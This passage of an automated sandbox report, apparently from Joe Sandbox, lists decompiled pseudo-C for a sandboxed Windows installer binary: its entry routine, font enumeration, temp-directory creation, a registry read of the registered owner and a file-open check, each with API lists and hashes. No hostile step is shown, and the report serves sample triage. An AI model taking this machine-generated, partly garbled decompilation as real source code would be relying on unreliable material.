                                                          0x00416de0
                                                          0x00000000
                                                          0x00416de0
                                                          0x00416df8
                                                          0x00416dfd
                                                          0x00000000

                                                          APIs
                                                          • SendMessageA.USER32(?,?,?,?), ref: 00416D9C
                                                          • SetTextColor.GDI32(?,00000000), ref: 00416DB6
                                                          • SetBkColor.GDI32(?,00000000), ref: 00416DD0
                                                          • CallWindowProcA.USER32 ref: 00416DF8
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Color$CallMessageProcSendTextWindow
                                                          • String ID:
                                                          • API String ID: 601730667-0
                                                          • Opcode ID: 7503b358d66fc3a9d7431498a67e4aee34d2d99b09742813b6501ed030dd5430
                                                          • Instruction ID: 45a38edd37f162b3f2d0a33830e07a664c8ab49b18c728b1ae7f4034335bfd62
                                                          • Opcode Fuzzy Hash: 7503b358d66fc3a9d7431498a67e4aee34d2d99b09742813b6501ed030dd5430
                                                          • Instruction Fuzzy Hash: 7F114CB6300700AFCB10EFAECC84E9773DCAF48310715846AB59ADB602C639E8418B69
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 62%
                                                          			E004232E0(char __edx) {
                                                          				char _v5;
                                                          				void* __ecx;
                                                          				void* __ebp;
                                                          				void* _t8;
                                                          				struct HDC__* _t18;
                                                          				int _t20;
                                                          				void* _t22;
                                                          				void* _t23;
                                                          				char _t24;
                                                          				struct HDC__* _t29;
                                                          				void* _t30;
                                                          				void* _t31;
                                                          
                                                          				_t24 = __edx;
                                                          				if(__edx != 0) {
                                                          					_t31 = _t31 + 0xfffffff0;
                                                          					_t8 = E00402E78(_t8, _t30);
                                                          				}
                                                          				_v5 = _t24;
                                                          				_t22 = _t8;
                                                          				E00410438(_t23, 0);
                                                          				E00423454(_t22);
                                                          				 *(_t22 + 0x20) = E00402C78(1);
                                                          				 *((intOrPtr*)(_t22 + 0x2c)) = E00402C78(1);
                                                          				_t18 = E00402C78(1);
                                                          				 *(_t22 + 0x30) = _t18;
                                                          				_push(0);
                                                          				L00406034();
                                                          				_t29 = _t18;
                                                          				_t5 = _t22 + 0x20; // 0x410868
                                                          				_t20 = EnumFontsA(_t29, 0, E00423280,  *_t5); // executed
                                                          				_push(0x5a);
                                                          				_push(_t29);
                                                          				L00405D64();
                                                          				 *(_t22 + 0x24) = _t20;
                                                          				_push(_t29);
                                                          				_push(0);
                                                          				L0040621C();
                                                          				if(_v5 != 0) {
                                                          					_pop( *[fs:0x0]);
                                                          				}
                                                          				return _t22;
                                                          			}















                                                          0x004232e0
                                                          0x004232e8
                                                          0x004232ea
                                                          0x004232ed
                                                          0x004232ed
                                                          0x004232f2
                                                          0x004232f5
                                                          0x004232fb
                                                          0x00423302
                                                          0x00423313
                                                          0x00423322
                                                          0x0042332c
                                                          0x00423331
                                                          0x00423334
                                                          0x00423336
                                                          0x0042333b
                                                          0x0042333d
                                                          0x00423349
                                                          0x0042334e
                                                          0x00423350
                                                          0x00423351
                                                          0x00423356
                                                          0x00423359
                                                          0x0042335a
                                                          0x0042335c
                                                          0x00423365
                                                          0x00423367
                                                          0x0042336e
                                                          0x00423377

                                                          APIs
                                                          • 72E5AC50.USER32(00000000,?,?,00000000,?,004191EB,00000000,?,?,00000001,00000000), ref: 00423336
                                                          • EnumFontsA.GDI32(00000000,00000000,00423280,00410868,00000000,?,?,00000000,?,004191EB,00000000,?,?,00000001,00000000), ref: 00423349
                                                          • 72E5AD70.GDI32(00000000,0000005A,00000000,00000000,00423280,00410868,00000000,?,?,00000000,?,004191EB,00000000,?,?,00000001), ref: 00423351
                                                          • 72E5B380.USER32(00000000,00000000,00000000,0000005A,00000000,00000000,00423280,00410868,00000000,?,?,00000000,?,004191EB,00000000), ref: 0042335C
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: B380EnumFonts
                                                          • String ID:
                                                          • API String ID: 1693878748-0
                                                          • Opcode ID: dd5a0a61b9c57789cb21afe4cc97496b97b1cfed65055e739ba2d9004f0a2faf
                                                          • Instruction ID: 30cdd78c7271a8b91fd37f93f07e18dd12414bc1d841c9146bcb6e7370bb8129
                                                          • Opcode Fuzzy Hash: dd5a0a61b9c57789cb21afe4cc97496b97b1cfed65055e739ba2d9004f0a2faf
                                                          • Instruction Fuzzy Hash: BD01C0A17443106AE700BF7A5C86B9E3A549F16348F44427BF908BE2C2D67E88058B6E
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 68%
                                                          			E004019D4() {
                                                          				void* _t11;
                                                          				signed int _t13;
                                                          				intOrPtr _t19;
                                                          				void* _t20;
                                                          				intOrPtr _t23;
                                                          
                                                          				_push(_t23);
                                                          				_push(E00401A8A);
                                                          				_push( *[fs:edx]);
                                                          				 *[fs:edx] = _t23;
                                                          				_push(0x48d420);
                                                          				L00401328();
                                                          				if( *0x48d036 != 0) {
                                                          					_push(0x48d420);
                                                          					L00401330();
                                                          				}
                                                          				E00401398(0x48d440);
                                                          				E00401398(0x48d450);
                                                          				E00401398(0x48d47c);
                                                          				_t11 = LocalAlloc(0, 0xff8); // executed
                                                          				 *0x48d478 = _t11;
                                                          				if( *0x48d478 != 0) {
                                                          					_t13 = 3;
                                                          					do {
                                                          						_t20 =  *0x48d478; // 0x721df0
                                                          						 *((intOrPtr*)(_t20 + _t13 * 4 - 0xc)) = 0;
                                                          						_t13 = _t13 + 1;
                                                          					} while (_t13 != 0x401);
                                                          					 *((intOrPtr*)(0x48d464)) = 0x48d460;
                                                          					 *0x48d460 = 0x48d460;
                                                          					 *0x48d46c = 0x48d460;
                                                          					 *0x48d419 = 1;
                                                          				}
                                                          				_pop(_t19);
                                                          				 *[fs:eax] = _t19;
                                                          				_push(E00401A91);
                                                          				if( *0x48d036 != 0) {
                                                          					_push(0x48d420);
                                                          					L00401338();
                                                          					return 0;
                                                          				}
                                                          				return 0;
                                                          			}








                                                          0x004019d9
                                                          0x004019da
                                                          0x004019df
                                                          0x004019e2
                                                          0x004019e5
                                                          0x004019ea
                                                          0x004019f6
                                                          0x004019f8
                                                          0x004019fd
                                                          0x004019fd
                                                          0x00401a07
                                                          0x00401a11
                                                          0x00401a1b
                                                          0x00401a27
                                                          0x00401a2c
                                                          0x00401a38
                                                          0x00401a3a
                                                          0x00401a3f
                                                          0x00401a3f
                                                          0x00401a47
                                                          0x00401a4b
                                                          0x00401a4c
                                                          0x00401a58
                                                          0x00401a5b
                                                          0x00401a5d
                                                          0x00401a62
                                                          0x00401a62
                                                          0x00401a6b
                                                          0x00401a6e
                                                          0x00401a71
                                                          0x00401a7d
                                                          0x00401a7f
                                                          0x00401a84
                                                          0x00000000
                                                          0x00401a84
                                                          0x00401a89

                                                          APIs
                                                          • RtlInitializeCriticalSection.KERNEL32(0048D420,00000000,00401A8A,?,?,00402236,0048D460,00000000,00000000,?,?,00401C51,00401C66,00401DAA), ref: 004019EA
                                                          • RtlEnterCriticalSection.KERNEL32(0048D420,0048D420,00000000,00401A8A,?,?,00402236,0048D460,00000000,00000000,?,?,00401C51,00401C66,00401DAA), ref: 004019FD
                                                          • LocalAlloc.KERNEL32(00000000,00000FF8,0048D420,00000000,00401A8A,?,?,00402236,0048D460,00000000,00000000,?,?,00401C51,00401C66,00401DAA), ref: 00401A27
                                                          • RtlLeaveCriticalSection.KERNEL32(0048D420,00401A91,00000000,00401A8A,?,?,00402236,0048D460,00000000,00000000,?,?,00401C51,00401C66,00401DAA), ref: 00401A84
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: CriticalSection$AllocEnterInitializeLeaveLocal
                                                          • String ID:
                                                          • API String ID: 730355536-0
                                                          • Opcode ID: 7b4d27c78d3ec42cdf42d9613c85a14480417dbf98181b1af69a1b7d87031786
                                                          • Instruction ID: edc66444bf91dbccd637f871198ccf20bfd66fdd9cc5066f76d2897232331e27
                                                          • Opcode Fuzzy Hash: 7b4d27c78d3ec42cdf42d9613c85a14480417dbf98181b1af69a1b7d87031786
                                                          • Instruction Fuzzy Hash: CD018070E463445EF315BB699806B2D3B95D786B08F51887FF440A7AF2C77C68408B2D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 74%
                                                          			_entry_(void* __ecx, void* __edx, void* __eflags, void* __fp0) {
                                                          				void* __ebx;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				void* __ebp;
                                                          				void* _t8;
                                                          				intOrPtr _t30;
                                                          				intOrPtr _t34;
                                                          				intOrPtr _t36;
                                                          				intOrPtr _t39;
                                                          				intOrPtr _t44;
                                                          				intOrPtr _t50;
                                                          				intOrPtr _t57;
                                                          				void* _t60;
                                                          				void* _t61;
                                                          				void* _t63;
                                                          				void* _t71;
                                                          				intOrPtr _t72;
                                                          				intOrPtr _t76;
                                                          				intOrPtr _t77;
                                                          				intOrPtr _t78;
                                                          				void* _t79;
                                                          				void* _t80;
                                                          				intOrPtr _t82;
                                                          
                                                          				_t83 = __eflags;
                                                          				_t71 = __edx;
                                                          				_t61 = __ecx;
                                                          				E0040348C();
                                                          				E004057F0(_t60, _t79, _t80, __eflags); // executed
                                                          				_t8 = E00409B70(_t60, _t61, _t71, _t79, _t80, _t83); // executed
                                                          				E00409D90(_t8);
                                                          				E00410B6C();
                                                          				E00410BE4();
                                                          				E00412B40(_t60, _t79, _t80, _t83);
                                                          				E00425158(E00419258(_t79));
                                                          				E0042ECFC();
                                                          				E0042FFE0(_t61);
                                                          				E00432294(_t61, _t79);
                                                          				E0044AB50();
                                                          				E0044F528();
                                                          				E00450FF8(_t60, _t79, _t80);
                                                          				E00451A10();
                                                          				E00454E30(_t79, _t80, _t83);
                                                          				E00455AA0();
                                                          				E00466010(); // executed
                                                          				E00478210(_t60, _t79, _t80, _t83); // executed
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t82;
                                                          				SetErrorMode(1); // executed
                                                          				E0048B084();
                                                          				_t30 =  *0x48d628; // 0x21c2410
                                                          				E004246EC(_t30, _t79, _t80, E0048B074, 0x48b068); // executed
                                                          				E0048B0CC(_t60, _t71, _t79, _t80, _t83); // executed
                                                          				_pop(_t72);
                                                          				_t63 = 0x48b31f;
                                                          				 *[fs:eax] = _t72;
                                                          				_t34 =  *0x48d628; // 0x21c2410
                                                          				E004244DC(_t34, 0x48b484, _t79);
                                                          				_t36 =  *0x48d628; // 0x21c2410
                                                          				ShowWindow( *(_t36 + 0x20), 5);
                                                          				_t39 =  *0x48d628; // 0x21c2410
                                                          				 *((intOrPtr*)(_t39 + 0x90)) = 0x46eaac;
                                                          				 *((intOrPtr*)(_t39 + 0x8c)) = E00476CE0;
                                                          				_push(_t81);
                                                          				_push(0x48b3b6);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t82;
                                                          				E004247C0(); // executed
                                                          				E0047492C(_t60, _t63, 0x46eaac, _t79, _t80, _t83); // executed
                                                          				_t44 =  *0x48d628; // 0x21c2410, executed
                                                          				E004247D0(_t44, 0x4adf90, 0x46eaac); // executed
                                                          				E00476E54(_t83, __fp0); // executed
                                                          				_pop(_t76);
                                                          				 *[fs:eax] = _t76;
                                                          				_push(_t81);
                                                          				_push(0x48b41f);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t82;
                                                          				_t50 =  *0x48d628; // 0x21c2410
                                                          				E00424860(_t50, _t79, _t80);
                                                          				_pop(_t77);
                                                          				 *[fs:eax] = _t77;
                                                          				_push(_t81);
                                                          				_push(0x48b455);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t82;
                                                          				E004760BC(0 |  *0x4ae290 == 0x00000000, _t60, _t79, _t80,  *0x4ae290, __fp0);
                                                          				_pop(_t78);
                                                          				 *[fs:eax] = _t78;
                                                          				_t57 =  *0x4ae290; // 0x0
                                                          				E00404FA8(_t57);
                                                          				return E00404FA4();
                                                          			}


























                                                          0x0048b274
                                                          0x0048b274
                                                          0x0048b274
                                                          0x0048b27d
                                                          0x0048b282
                                                          0x0048b287
                                                          0x0048b28c
                                                          0x0048b291
                                                          0x0048b296
                                                          0x0048b29b
                                                          0x0048b2a5
                                                          0x0048b2aa
                                                          0x0048b2af
                                                          0x0048b2b4
                                                          0x0048b2b9
                                                          0x0048b2be
                                                          0x0048b2c3
                                                          0x0048b2c8
                                                          0x0048b2cd
                                                          0x0048b2d2
                                                          0x0048b2d7
                                                          0x0048b2dc
                                                          0x0048b2e9
                                                          0x0048b2ec
                                                          0x0048b2f1
                                                          0x0048b2f6
                                                          0x0048b306
                                                          0x0048b30b
                                                          0x0048b310
                                                          0x0048b317
                                                          0x0048b319
                                                          0x0048b31a
                                                          0x0048b33d
                                                          0x0048b342
                                                          0x0048b349
                                                          0x0048b352
                                                          0x0048b357
                                                          0x0048b361
                                                          0x0048b367
                                                          0x0048b373
                                                          0x0048b374
                                                          0x0048b379
                                                          0x0048b37c
                                                          0x0048b384
                                                          0x0048b389
                                                          0x0048b398
                                                          0x0048b39d
                                                          0x0048b3a7
                                                          0x0048b3ae
                                                          0x0048b3b1
                                                          0x0048b3ff
                                                          0x0048b400
                                                          0x0048b405
                                                          0x0048b408
                                                          0x0048b40b
                                                          0x0048b410
                                                          0x0048b417
                                                          0x0048b41a
                                                          0x0048b430
                                                          0x0048b431
                                                          0x0048b436
                                                          0x0048b439
                                                          0x0048b446
                                                          0x0048b44d
                                                          0x0048b450
                                                          0x0048b464
                                                          0x0048b469
                                                          0x0048b479

                                                          APIs
                                                            • Part of subcall function 0040348C: GetModuleHandleA.KERNEL32(00000000,0048B282), ref: 00403493
                                                            • Part of subcall function 0040348C: GetCommandLineA.KERNEL32(00000000,0048B282), ref: 0040349E
                                                            • Part of subcall function 00409D90: 6F5FDB20.COMCTL32(0048B291), ref: 00409D90
                                                            • Part of subcall function 00410B6C: GetCurrentThreadId.KERNEL32 ref: 00410BBA
                                                            • Part of subcall function 00419258: GetVersion.KERNEL32(0048B2A5), ref: 00419258
                                                            • Part of subcall function 00432294: OleInitialize.OLE32(00000000), ref: 004322A0
                                                            • Part of subcall function 0044F528: GetModuleHandleA.KERNEL32(user32.dll,NotifyWinEvent,0048B2C3), ref: 0044F563
                                                            • Part of subcall function 0044F528: 6CAA5550.KERNEL32(00000000,user32.dll,NotifyWinEvent,0048B2C3), ref: 0044F569
                                                            • Part of subcall function 00451A10: GetModuleHandleA.KERNEL32(kernel32.dll,Wow64DisableWow64FsRedirection,0048B2CD), ref: 00451A1A
                                                            • Part of subcall function 00451A10: 6CAA5550.KERNEL32(00000000,kernel32.dll,Wow64DisableWow64FsRedirection,0048B2CD), ref: 00451A20
                                                            • Part of subcall function 00451A10: GetModuleHandleA.KERNEL32(kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,0048B2CD), ref: 00451A34
                                                            • Part of subcall function 00451A10: 6CAA5550.KERNEL32(00000000,kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,0048B2CD), ref: 00451A3A
                                                            • Part of subcall function 00466010: RegisterClipboardFormatA.USER32 ref: 00466015
                                                          • SetErrorMode.KERNEL32(00000001,00000000,0048B31F), ref: 0048B2F1
                                                            • Part of subcall function 0048B084: GetModuleHandleA.KERNEL32(user32.dll,DisableProcessWindowsGhosting,0048B2FB,00000001,00000000,0048B31F), ref: 0048B08E
                                                            • Part of subcall function 0048B084: 6CAA5550.KERNEL32(00000000,user32.dll,DisableProcessWindowsGhosting,0048B2FB,00000001,00000000,0048B31F), ref: 0048B094
                                                            • Part of subcall function 004246EC: SendMessageA.USER32(?,0000B020,00000000,?), ref: 0042470B
                                                            • Part of subcall function 004244DC: SetWindowTextA.USER32(?,00000000), ref: 004244F4
                                                          • ShowWindow.USER32(?,00000005,00000000,0048B31F), ref: 0048B352
                                                            • Part of subcall function 00476E54: SetActiveWindow.USER32(?), ref: 00476EEE
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: HandleModule$A5550$Window$ActiveClipboardCommandCurrentErrorFormatInitializeLineMessageModeRegisterSendShowTextThreadVersion
                                                          • String ID: Setup
                                                          • API String ID: 3497079138-3839654196
                                                          • Opcode ID: 12136161f2d59f04eafa8e1982de29ca4e46e7352d418c89e571cb6b50e38470
                                                          • Instruction ID: 06f399641de059cea4a47fa898316e6cec9512e2263ea6d94b5d5effe6ef7e30
                                                          • Opcode Fuzzy Hash: 12136161f2d59f04eafa8e1982de29ca4e46e7352d418c89e571cb6b50e38470
                                                          • Instruction Fuzzy Hash: 0D31D7316046409ED211BFB7EC1391E3798EB8A728751487FF90496A93DF3D5810DB6E
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 56%
                                                          			E00452118(void* __eax, long __ebx, void* __edx, void* __edi, void* __esi) {
                                                          				char _v8;
                                                          				char _v12;
                                                          				char _v16;
                                                          				intOrPtr _v20;
                                                          				char _v24;
                                                          				char _v28;
                                                          				char _v32;
                                                          				char _v36;
                                                          				int _t30;
                                                          				intOrPtr _t62;
                                                          				void* _t72;
                                                          				intOrPtr _t75;
                                                          
                                                          				_t70 = __edi;
                                                          				_t53 = __ebx;
                                                          				_t54 = 0;
                                                          				_push(0);
                                                          				_push(0);
                                                          				_push(0);
                                                          				_push(0);
                                                          				_push(0);
                                                          				_push(0);
                                                          				_push(0);
                                                          				_push(0);
                                                          				_push(__ebx);
                                                          				_push(__edi);
                                                          				_t72 = __eax;
                                                          				_push(_t75);
                                                          				_push(0x452207);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t75;
                                                          				while(1) {
                                                          					E0042D990( &_v12, _t53, _t54, _t70, _t72); // executed
                                                          					_t54 = 0x452220;
                                                          					E00451EA4(0, _t53, 0x452220, _v12, _t70, _t72,  &_v8); // executed
                                                          					_t30 = CreateDirectoryA(E00403880(_v8), 0); // executed
                                                          					if(_t30 != 0) {
                                                          						break;
                                                          					}
                                                          					_t53 = GetLastError();
                                                          					if(_t38 != 0xb7) {
                                                          						E00450C5C(0x2f,  &_v28, _v8);
                                                          						_v24 = _v28;
                                                          						E00406E04(_t53,  &_v32);
                                                          						_v20 = _v32;
                                                          						E0042E7A4(_t53,  &_v36);
                                                          						_v16 = _v36;
                                                          						E00450C2C(0x60, 2,  &_v24,  &_v12);
                                                          						_t54 = _v12;
                                                          						E00408DF0(_v12, 1);
                                                          						E00403264();
                                                          					}
                                                          				}
                                                          				E004035DC(_t72, _v8);
                                                          				_pop(_t62);
                                                          				 *[fs:eax] = _t62;
                                                          				_push(E0045220E);
                                                          				E00403568( &_v36, 3);
                                                          				return E00403568( &_v12, 2);
                                                          			}















                                                          0x00452118
                                                          0x00452118
                                                          0x0045211b
                                                          0x0045211d
                                                          0x0045211e
                                                          0x0045211f
                                                          0x00452120
                                                          0x00452121
                                                          0x00452122
                                                          0x00452123
                                                          0x00452124
                                                          0x00452125
                                                          0x00452127
                                                          0x00452128
                                                          0x0045212c
                                                          0x0045212d
                                                          0x00452132
                                                          0x00452135
                                                          0x00452138
                                                          0x0045213f
                                                          0x00452147
                                                          0x0045214e
                                                          0x0045215e
                                                          0x00452165
                                                          0x00000000
                                                          0x00000000
                                                          0x0045216c
                                                          0x00452174
                                                          0x00452182
                                                          0x0045218a
                                                          0x00452192
                                                          0x0045219a
                                                          0x004521a2
                                                          0x004521aa
                                                          0x004521b7
                                                          0x004521bc
                                                          0x004521c6
                                                          0x004521cb
                                                          0x004521cb
                                                          0x00452174
                                                          0x004521da
                                                          0x004521e1
                                                          0x004521e4
                                                          0x004521e7
                                                          0x004521f4
                                                          0x00452206

                                                          APIs
                                                          • CreateDirectoryA.KERNEL32(00000000,00000000,?,00000000,00452207,?,?,00000000,0048D628,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0045215E
                                                          • GetLastError.KERNEL32(00000000,00000000,?,00000000,00452207,?,?,00000000,0048D628,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00452167
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: CreateDirectoryErrorLast
                                                          • String ID: .tmp
                                                          • API String ID: 1375471231-2986845003
                                                          • Opcode ID: 02bb0438183800f50e9af03f347ab1e11b67288a0ca01368fb0cf542fd4d500a
                                                          • Instruction ID: 7bf3b34eb0cf2eb0ff3e70cf5e19dc3833f629eefe8374bafbd98f486a21a8bc
                                                          • Opcode Fuzzy Hash: 02bb0438183800f50e9af03f347ab1e11b67288a0ca01368fb0cf542fd4d500a
                                                          • Instruction Fuzzy Hash: 10216774A00208AFDB05EFA5C9829DFB7B9EF44305F10457BF801B7342DA789E058A69
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E00471A7C(void* __eflags) {
                                                          				void* _v8;
                                                          				void* __ecx;
                                                          				void* _t11;
                                                          				long _t17;
                                                          
                                                          				_t11 = E0042DD88(0,  *0x0048CBB0, 0x80000002,  &_v8, 1, 0); // executed
                                                          				if(_t11 == 0) {
                                                          					E0042DCB8();
                                                          					E0042DCB8();
                                                          					_t17 = RegCloseKey(_v8); // executed
                                                          					return _t17;
                                                          				}
                                                          				return _t11;
                                                          			}







                                                          0x00471a9d
                                                          0x00471aa4
                                                          0x00471ab3
                                                          0x00471ac5
                                                          0x00471ace
                                                          0x00000000
                                                          0x00471ace
                                                          0x00471ad5

                                                          APIs
                                                            • Part of subcall function 0042DD88: 6CAA6790.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,00477FD3,?,00000001,?,?,00477FD3,?,00000001,00000000), ref: 0042DDA4
                                                          • RegCloseKey.ADVAPI32(?,?,00000001,00000000,?,?,00471CF2,00000000,00471D08,?,?,?,?,00000000,?,00489B16), ref: 00471ACE
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: A6790Close
                                                          • String ID: RegisteredOrganization$RegisteredOwner
                                                          • API String ID: 1840404773-1113070880
                                                          • Opcode ID: 00005b6c2ae949f08c83e11263df9079e85e961ae2957e1435eb0d9b2c1e9a8f
                                                          • Instruction ID: a6f71f8f369b1da023f280aae3ecda9b8cda437b60bc8e781293245c92a1966f
                                                          • Opcode Fuzzy Hash: 00005b6c2ae949f08c83e11263df9079e85e961ae2957e1435eb0d9b2c1e9a8f
                                                          • Instruction Fuzzy Hash: E2F03075B04148ABDB00E7A6E953B9F33A9DF42304FA4847AA504EB351DAB9EE00975C
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 48%
                                                          			E0046C9FC(void* __ecx, void* __edx, void* __edi, void* __esi, intOrPtr _a4) {
                                                          				void* __ebx;
                                                          				void* __ebp;
                                                          				void* _t10;
                                                          				intOrPtr _t13;
                                                          				void* _t16;
                                                          
                                                          				_push(0);
                                                          				_push(0x80);
                                                          				_push(1);
                                                          				_push(0);
                                                          				_push(0);
                                                          				_push(0xc0000000);
                                                          				_t10 = E00403880( *((intOrPtr*)( *((intOrPtr*)(_a4 + 8)) - 0x14)));
                                                          				_push(_t10); // executed
                                                          				L00405964(); // executed
                                                          				_t16 = _t10;
                                                          				_t21 = _t16 - 0xffffffff;
                                                          				if(_t16 == 0xffffffff) {
                                                          					E00451B58("CreateFile", _t16, __ecx, __edi, __esi, _t21);
                                                          				}
                                                          				CloseHandle(_t16);
                                                          				_t13 =  *((intOrPtr*)(_a4 + 8));
                                                          				 *((char*)(_t13 - 0x19)) = 1;
                                                          				return _t13;
                                                          			}








                                                          0x0046ca00
                                                          0x0046ca02
                                                          0x0046ca07
                                                          0x0046ca09
                                                          0x0046ca0b
                                                          0x0046ca0d
                                                          0x0046ca1b
                                                          0x0046ca20
                                                          0x0046ca21
                                                          0x0046ca26
                                                          0x0046ca28
                                                          0x0046ca2b
                                                          0x0046ca32
                                                          0x0046ca32
                                                          0x0046ca38
                                                          0x0046ca40
                                                          0x0046ca43
                                                          0x0046ca49

                                                          APIs
                                                          • 6CAA5CA0.KERNEL32(00000000,C0000000,00000000,00000000,00000001,00000080,00000000,00000000,?,0046CB85), ref: 0046CA21
                                                          • CloseHandle.KERNEL32(00000000,00000000,C0000000,00000000,00000000,00000001,00000080,00000000,00000000,?,0046CB85), ref: 0046CA38
                                                            • Part of subcall function 00451B58: GetLastError.KERNEL32(00000000,00451BF0,?,?,00000000,00000000,00000005,00000000,00452636,?,?,00000000,0048D628,00000004,00000000,00000000), ref: 00451B7C
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: CloseErrorHandleLast
                                                          • String ID: CreateFile
                                                          • API String ID: 918212764-823142352
                                                          • Opcode ID: da3e01079fcc79da4f6e5358b9890d359b059ab230e318bc78e4d026129480bb
                                                          • Instruction ID: 92ebb9f275cdee17ba8e03babab10addfbb1bf9672ec32410b4836965cc47a3b
                                                          • Opcode Fuzzy Hash: da3e01079fcc79da4f6e5358b9890d359b059ab230e318bc78e4d026129480bb
                                                          • Instruction Fuzzy Hash: 2CE03970240304AFEA10A669CCCAF6A77889B04728F108155FA88AF3E2D5A9EC448659
